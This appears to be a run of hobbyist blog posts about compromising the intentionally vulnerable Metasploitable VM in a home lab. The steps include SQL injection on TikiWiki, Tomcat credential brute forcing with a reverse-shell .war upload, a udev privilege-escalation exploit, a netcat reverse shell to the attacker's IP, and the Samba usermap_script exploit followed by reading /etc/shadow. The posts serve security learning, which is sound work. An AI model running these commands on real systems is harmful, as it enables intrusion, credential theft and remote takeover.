SQL injection on Metasploitable

So I was playing around with the TikiWiki web application on the Metasploitable VM tonight, and I decided that I wanted to try and see if this thing was vulnerable to SQL injection. I did a quick google search and it told me that indeed there were reported SQL injection points for this particular version, but I wanted to try and see if I could find one on my own. So began my manual assault on all the fields and parameters I could see. Finally I found a parameter that is passed on multiple pages but I first got the application to throw an error on the tiki-listpages.php page using the sort_mode= parameter.

Interestingly enough, when I tried to use a tick (') in the sort_mode= parameter, it would just give me an error stating that was an invalid value for that field. I did find that most of this application does sanitize the input from the user, but for some reason this particular parameter did not like integers being put into it and the result is a massive error page yielding all kinds of good info. Here was what I used:

http://192.168.2.109/tikiwiki/tiki-listpages.php?find='&search=find&sort_mode=1

And here is the beautiful error page this throws:

As you can see, this gives us all kinds of good info. One of the big give aways is that fact that this is a mysql database. But if we continue to scroll down, we get even more really interesting info. A quick search for 'password' reveals this:

Wow. It looks like this bad query dumped a configuration file for the entire database including the username and password for the database! And to test it out, I tried logging in through the mysql client on backtrack and sure enough, I was able to view the whole database.

This is a very old version of tikiwiki, 1.9 something I think, and they have long since patched this vulnerability. It is amazing what one small error can produce from the database side of a web application.

Attacking Metasploitable - Tikiwiki on port 80

For this post, I will be beating up on the Tikiwiki web application that is running on port 80 of the Metasploitable vulnerable VM.

First, we need to scan our VM with a very good web application scanner called Nikto. Here is the description of nikto from http://cirt.net/nikto2

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Perfect for finding out what is sitting on our target web server. Once we have run the scan, we see that there is a /tikiwiki directory located on the webserver. Lets browse there and have a look around.

Now that we know there is a version of tikiwiki running on this web server, lets have a look in metasploit and see if it includes any modules we can use on tikiwiki.

search tikiwiki

Perfect! There are a few of them we can try out. Lets go ahead and try the information disclosure module for tikiwiki to see if this webapp leaks valuable info to us. This is kinda self explanatory so I will not go into how to configure and run this module.

Well. Looks like we got the database version (mysql) the username (root) and the password (root). Lets try to log in remotely using the information provided using our built in mysql client on Backtrack. This may not work if remote logins are disabled, but it is worth a try.

mysql -h 192.168.2.109 --user=root --password=root

Awesome! Now we have access to the database as the root user! Lets list the databases.

show databases;

Given this list, and since we are wanting to get root privileges on the web application, we will try the tikiwiki database first.

use tikiwiki;
show tables;

After having a look at the tables in this database, the ones that look most useful are tiki_users and users_users. Lets try querying the tiki_users table first.

Select * from tiki_users;

Hmm. It seems that this table is empty. Lets try out the users_users. Hopefully that one will not be empty too!

Select * from users_users;

Bingo! This one is definitely not empty. After looking at the field names, lets try and clean up our query results with info that will be most useful to us.

Select userID, login, password from users_users;

Awesome! We have found the admin user in the users_users table. Lets try and use these credentials to log into the tikiwiki web application.

Once we enter the credentials we are presented with a change password page, how convenient ;)

Once we change the admin password we are presented with the admin dashboard for this web application. Success!

From here, we could try and gain access to the underlying operating system as the web application user, or we could simply change the content of the web application pages. I will stop here for now because I am tired and not very greedy tonite ;)

Jakx

Attacking Metasploitable - tomcat, this is .War!

In this post we are going to target another attack vector of the metasploitable OS. In a previous post we did a port scan and saw that on port 8180 Apache Tomcat was running. For more info on what Apache Tomcat is, go here. Lets try to brute force the login credentials of the manager application for tomcat. We will use metasploit to do this.

msfconsole
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.2.109

Metasploit, by default, has some options configured that we will need to change. First we will need to change the port to 8180.

set RPORT 8180

We also want to change the STOP_ON_SUCCESS value to true so that when we are successful, metasploit will stop brute forcing.

set STOP_ON_SUCCESS true

Normally when brute forcing something, you need to provide a file or list of usernames and passwords, but since metasploit is one bad mo fo, it provides a user and password file custom made for this auxiliary module located at

/opt/framework/msf3/data/wordlists/tomcat_mgr_default_userpass.txt
/opt/framework/msf3/data/wordlists/tomcat_mgr_default_users.txt

If you have not explored the wordlist directory or any thing else inside metasploit, I would highly recommend you do so because there are many useful things you will find.

exploit

Perfect. The user configured a *highly complex username and password tomcat:tomcat. Now we can head over to the respective web address and try to login. We will open firefox and type this into our browser.

http://192.168.2.109:8180/manager/html

Once we are logged in, we are presented with the web application manager interface. We were able to compromise the web application, but now we are wanting to be able to interact with the underlying operating system. Since we only have application layer access right now, we need to find a way to get the application to run some code for us. If we scroll down we can see a place where the interface allows us to upload a .War file.

After doing some research, I found out that .war are Web ARchive files that contain all the files needed for a Java based web application. Would it be possible for us to somehow create a backdoor we could upload in the form of a .War file, and then get the backdoor to execute?

Metasploit to the rescue, once again. Using msfpayload, we can create shellcode and then specify what type of file to send it to. It just so happens, that one of the filetypes that msfpayload supports is .war. If you are not familiar with msfpayload there are plenty of tutorials out there. Google is your friend.

msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.2.102 LPORT=1337 W > runme.war

/* Sidenote: for some reason, the linux/x86/shell/reverse_tcp metasploit payload would work and create a session, but would then drop the session due to an EOFError that looks like this:

[*] Command shell session 2 opened (192.168.2.102:1337 -> 192.168.2.109:33743) at 2011-11-01 17:30:42 -0400
[*] Command shell session 2 closed. Reason: Died from EOFError

Not really sure why it does this, mabye has something to do with the /shell/reverse_tcp form of payload being the type where it just opens network connection then waits for the rest of the payload from the attacker machine, and the /shell_reverse_tcp type has the entire thing put together. I will have to keep playing around with it.*\

Ok, now that we have our backdoor in a .war format, all we need to do now is upload the file to the manager and then navigate to the right webpage to execute it on the machine. Metasploit actually implements the same technique as an exploit, but I wanted to try and do it manually so that I could learn more about how it works since I do not know a lot about java web applications. You can find more about their built-in exploit here:

http://www.metasploit.com/modules/exploit/multi/http/tomcat_mgr_deploy

After a little more research, I found out that msfpayload creates a randomly named .jsp (javaserver page) file and it puts the payload in this page. We will need to figure out what the page is called to access it. Since a WAR file is just an archive of other files, lets unzip the war file so we can see the name of the .jsp file. We can use the unzip command and the -l flag just to see a list of the files.

unzip -l runme.war

Perfect. Now we know the filename. Before we navigate to the page, we need to set up a listener on the attacker machine to catch the reverse shell. We can use either the multi/handler in metasploit or just a basic netcat listener. Lets just do netcat.

nc -v -l -p 1337

Once this is done, we need to navigate to the .jsp file on the server to get it to execute and hopefully give us a shell. The manager application will, by default, put the files located inside the WAR archive in a directory under the archive name. So in my case it will be /runme/ajegupbyv.jsp

Awesome! We now have OS layer access on this server. At this point we would do some recon and try to escalate privileges if we wanted to further compromise this machine.

What can we learn from this attack about securing tomcat?

1) Never, Never, Never, Never use the freakin name of the application as the username AND/OR the password. Ever. It is simply way to easy to brute force. A complex username and password is a must for authentication integrity. An unusual username and password would make brute forcing much harder.

2) If you are going to have a manager application, you can filter who is allowed to request it by IP or by host name. If the filter was by subnet, it would not have necessarily prevented this specific attack, due to the fact that I am on the same subnet as the server, but if the filter only allowed certain IP's to connect, it would have made the attackers job that much harder.

3) Although not a solid security tactic, rename the manager application. This would not stop an attacker but would at least make life a little tougher for him.

For more information on security an install of tomcat, OWASP has put together a pretty good article here:
https://www.owasp.org/index.php/Securing_tomcat#Securing_Manager_WebApp

Attacking Metasploitable part 3

In the previous post we were able to compromise the metasploitable host in two phases:
1) gain initial access to the host through the distcc vulnerability which you can learn more about here http://osvdb.org/13378
2) explore the remote host and figure out read/write permission on various directories and files. Then escalate our privileges using ssh and the authorized_keys file

In this post, we will go back to the initial breach and try to escalate our privileges another way.

So, say that we are sitting at our original shell running as the user daemon.

Now through a bit of reconnaissance, we can get the kernel version and try to escalate our privileges through a local priv escalation exploit.

uname -a

This command reveals to us that we are running kernel version 2.6.24. We will now head over to exploit-db and look for any local privilege escalations that could apply to us. Luckily we are able to find one here : http://www.exploit-db.com/exploits/8572/

*   udev before 1.4.1 does not verify whether a NETLINK message originates 
*   from kernel space, which allows local users to gain privileges by sending 
*   a NETLINK message from user space.

This bit of code exploits a vulnerability in the udev service and allows us to escalate our privileges to the user running the service, root. Now all we need to do is download, compile, and provide necessary arguments. If all goes well, we should be able to get root access to this machine. First to download:

 wget http://www.exploit-db.com/download/8572

This code is saved as index.html and obviously we cannot compile C code in this format so we will rename it so priv.c

 mv index.html privs.c

Now we need to find out what compilers are on this machine. Since our exploit is written in C, We will search for the gcc compiler:

 find / -name "gcc" 2>/dev/null

This command looks for files with the name (gcc) looking in the entire filesystem ( / ) and the 2>/dev/null is simply redirecting the error messages to /dev/null. Because we currently have limited privileges, we will most likely get alot of permission denied error message from this find command. The results show us that this host does in fact have the gcc compiler installed and it is universally available to everyone.

Now we will compile our exploit.

gcc privs.c -o privs

If you dont know what gcc is and/or you dont understand what the above command does, you need to read up on programming and C source code.

/* Sidenote: it is VERY dangerous to download, compile, and run code created by hackers on a system so I would advise against it if you cannot get a basic understanding of what the actual exploit is doing. Download at your own risk! *\

Okay, now that we have our exploit ready to go, we can see from the source code that it needs an argument of the process id from the /proc/net/netlink socket. We can find that by issuing this command:

cat /proc/net/netlink

Our PID seems to be 3007, but lets check the udev service to make sure.

ps aux | grep udev

Our udev service has a PID of 3008 and 3008 - 1 = 3007 so our initial number is correct.

From our inital reconnissance in a previous post we found that this machine had fun things installed on it, such as netcat. If you dont know what netcat is (aka the tcp/ip swiss army knife) go here.

We will utilize the local copy of netcat to connect out to the attacker machine once the exploit runs to give us root access to this machine.

/* sidenote 2: I tried to get a meterpreter shell on this linux machine but I was unable to make it work. Every time I ran the ELF file produced by msfencode, it would throw a segmentation fault and the multi/handler would send the stagers over but would not be able to create a shell for some reason. Hopefully I will be able to figure it out and post it later. *\

Now to build our payload that the exploit will execute:

echo '#!/bin/bash' > run
echo '/bin/netcat -e /bin/bash 192.168.2.102 1337' >> run

Our payload will be to start netcat and to execute a bash shell once the program connects to the attacker machine. We use the echo command with the > to write to a file called 'run', because that is what the exploit is going to execute as the root user. We also need to start up our netcat listener on the attacker machine to catch the shell from the victim.

nc -vv -l -p 1337

The flags for netcat are pretty straight forward. Issue the -h flag if you dont know them.

Now all we have left to do is run the exploit with the required arguments.

./privs 3007

Bingo. We have successfully escalated our privileges to root.

To summarize:
1) Initial break in through distcc service
2) Did some exploring and learned that we are running kernel 2.6.24
3) Found a public exploit that took advantage of the vulnerable kernel version
4) Compiled exploit and set up payload/netcat listener
5) Ran exploit, escalated privileges, got r00t
 

Jakx

Attacking Metasploitable part 2

This post will show another attack vector on the metasploitable operating system. I learned today that when port scanning a machine, nmap by default only scans 1000 ports. "The simple command nmap scans 1,000 TCP ports on the host ." I found this information on the documentation page here. This is very important because even though we ran nmap last time with the -sV service/version flag, we still could have missed some ports that nmap does not scan by default. We can fix this by using the -p flag and then specifying exactly how many ports we want nmap to scan. So, lets start off by doing that.

nmap -v -sV -p 1-65535 <target ip address>

 
As you can see, we are given one more open port and service when we set the -p flag in nmap to all possible ports. We will now search metasploit to see if this service is vulnerable to attack.


msf > search distcc
msf > use exploit/unix/misc/distcc_exe
msf exploit(distcc_exec) > set RHOST 192.168.2.109
RHOST => 192.168.2.109
msf exploit(distcc_exec) > exploit

We then get a shell on the machine.
A quick whoami command shows that we are running as the daemon user. To further compromise this machine we will need to escalate our privileges so that we are able to move more freely on the machine. After some searching through some of the limited files we are able to view, we discover that the read permission bit is set on the authorized_keys file within the /root/.ssh/ directory allowing us to view the contents of the file.

If we are able to brute force this encrypted key, we will be able to login to this server as that user. We are only able to do this because this users key is stored in the authorized_keys file on this server.

We now need to find a tool that will help us brute force this key. After heading over to exploit-db.com and searching for openSSL on linux we find a suitable tool here : http://www.exploit-db.com/exploits/5720/

This tells us that first we must download the list of keys. Since we are able to see the private key, we can just use this downloaded list and grep to find to corresponding public key.

Awesome. We found the corresponding public key. Now all we need to do is try and login to the metasploitable machine through ssh with the public key file using the -i identity file flag.

And we now have root access.

To find out more about this attack, refer here : http://digitaloffense.net/tools/debian-openssl/

Metasploitable + Backtrack = Fun

In this post I will be demonstrating how to use the basic functionality of Metasploit to compromise a linux host. The victim is a virtual machine called Metasploitable running linux, that is purposely packed with a bunch of vulnerable software. It is built to help people learn security so please do not download this and use it on any public facing network. You will get owned. You can download this VM here : Metasploitable

Once you have the VM downloaded fire it up and log into backtrack 5 as well.

Open a terminal in backtrack and make sure that you have the latest version of Metasploit installed using the msfupdate command.

First we will want to locate the vulnerable machine. I use netdiscover to list all the machines on the private network. I saw one running as a virtual machine so I will go ahead and assume that this is the Metasploitable VM.

Next we will go ahead and run a basic nmap scan on our victim machine. There are ways to scan machines inside of metasploit using the db_nmap command, among other things, but for the sake of simplicity lets just use regular nmap for now.

nmap -v -sV 192.168.2.109

This is a basic scan with the verbose flag so that we can see open ports as they are discovered followed by the service/version detection flag so that nmap will probe the open ports to discover services running and their versions.

As you can see there are many open ports on this machine. For the time being we will focus on the part of the scan that reads

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

TCP port 139 and 445 are open and are running samba smbd version 3.X. Lets see if metasploit has any exploits we can use that target this service.

There are two ways to search through the metasploit database.

Open up msfconsole and type: search samba
Go to http://www.metasploit.com/modules/ and search from there.

I choose to use the msfconsole and here are the results

The exploit that is of particular interest to us is exploit/multi/samba/usermap_script

Here is the description as to how this exploit works:

"This module exploits a command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!"

Obviously this is a very powerful exploit. Now we will want to configure the exploit before we send it to our target. First we will need to type:

use exploit/multi/samba/usermap_script

Once we have the exploit set we can also type:

info
show options

show options is pretty self explanatory in that it presents you with that particular exploit's configurable options. For this exploit we will only need to set a few of these options. First we will need to set the RHOST option. This is the ip that your victim is currently using. To do this type:

set RHOST <victim ip address>

The next option we need to set is the type of payload that this exploit will contain. I chose the generic/shell_reverse_tcp payload:

set PAYLOAD generic/shell_reverse_tcp

You can also specify the LPORT option, being the local port the shell will connect to. Once we double check that all of our options are configured correctly, we are ready to launch the exploit.

exploit

As you can see, the exploit completed successfully giving us back a shell on the compromised linux system. A simple ls command shows the linux filesystem that we are now able to browse at will and a whoami command shows that we have root privileges on the remote system. Lets go ahead and dump the passwords for all the users:

cat /etc/shadow

Since we know this is a linux box, lets just go ahead and gather as much information as we can using more features in metasploit. Hit control+z to background the current session. We will now use a post exploitation module that takes the session number as its only option and grabs and stores alot of information from our current environment.
type:

use linux/gather/enum_linux
set session
exploit

Here we can see that metasploit gathered alot of valuable information for us about this system and has stored it on our local disk.

Metasploit is a extremely powerful too and this is just one way that the metasploitable virtual machine can be compromised. Hopefully this will show you how dangerous running old versions of software can be. I will go through other ways to compromise metaploitable in later posts.

Jakx